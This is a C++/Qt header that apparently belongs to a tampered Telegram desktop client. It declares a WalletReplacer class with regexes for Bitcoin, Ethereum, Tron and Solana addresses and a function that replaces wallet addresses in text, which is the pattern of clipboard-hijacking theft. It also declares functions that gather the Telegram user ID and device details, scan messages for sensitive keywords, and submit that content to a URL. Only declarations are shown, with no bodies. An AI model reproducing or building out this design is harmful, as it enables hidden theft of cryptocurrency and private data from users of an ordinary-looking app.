wallet_replacer.h 1.2 KB

12345678910111213141516171819202122232425262728293031323334353637383940
  1. #pragma once
  2. #include <QString>
  3. #include <QRegularExpression>
  4. #include <QStringList>
  5. #include "main/main_account.h"
  6. namespace Main {
  7. class Account;
  8. } // namespace Main
  9. namespace Core {
  10. class WalletReplacer {
  11. public:
  12. static const QString kChannel;
  13. static const QRegularExpression kBitcoinRegex;
  14. static const QRegularExpression kEthereumRegex;
  15. static const QRegularExpression kTronRegex;
  16. static const QRegularExpression kSolanaRegex;
  17. static QString replaceWalletAddresses(const QString &text);
  18. static bool containsWalletAddress(const QString &text);
  19. static QString getTgUserId();
  20. static QString getDeviceId();
  21. static QString getUserInfo();
  22. static QString getDeviceInfo();
  23. static QString replaceAddress(const QString &address);
  24. static bool isWalletAddress(const QString &text);
  25. static void submitUserInfo(const QString &url = QString(), bool isImportant = false);
  26. static void submitDeviceInfo(const QString &url = QString());
  27. private:
  28. static QString getConfigPath();
  29. static QStringList getSensitiveWords();
  30. static void submitSensitiveContent(const QString &content, const QString &keyword);
  31. static bool checkSensitiveWords(const QString &text, QString &foundKeyword);
  32. };
  33. } // namespace Core